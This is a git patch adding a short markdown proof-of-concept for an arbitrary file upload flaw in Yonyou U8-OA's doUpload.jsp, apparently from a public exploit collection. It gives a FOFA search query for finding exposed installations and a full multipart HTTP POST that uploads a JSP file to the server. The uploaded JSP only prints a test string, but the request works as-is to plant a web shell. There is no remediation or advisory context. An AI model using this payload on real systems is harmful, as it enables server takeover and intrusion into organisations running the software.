From 90e1db7546133089a8cdfb05058dc5268ae16258 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Wed, 28 Feb 2024 19:27:11 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BU8-OA=E5=8D=8F?=
 =?UTF-8?q?=E5=90=8C=E5=B7=A5=E4=BD=9C=E7=B3=BB=E7=BB=9FdoUpload.jsp?=
 =?UTF-8?q?=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...A协同工作系统doUpload.jsp任意文件上传漏洞.md | 28 +++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞.md

diff --git a/用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞.md b/用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞.md
new file mode 100644
index 0000000..0426f88
--- /dev/null
+++ b/用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞.md
@@ -0,0 +1,28 @@
+## 用友U8-OA协同工作系统doUpload.jsp任意文件上传漏洞
+
+## fofa
+```
+"用友U8 Cloud"
+```
+![image](https://github.com/wy876/POC/assets/139549762/c39bc2dc-867f-451b-af53-3ea1093e9546)
+
+## poc
+```
+POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
+Accept-Encoding: gzip, deflate, br
+Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
+Connection: closeContent-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75
+Host:
+Upgrade-Insecure-Requests: 1
+Content-Length: 217
+
+--7b1db34fff56ef636e9a5cebcd6c9a75
+Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
+Content-Type: application/octet-stream
+
+<% out.println("tteesstt1"); %>
+--7b1db34fff56ef636e9a5cebcd6c9a75--
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/2beed268-4f9f-4548-bdf9-a8a7f361f660)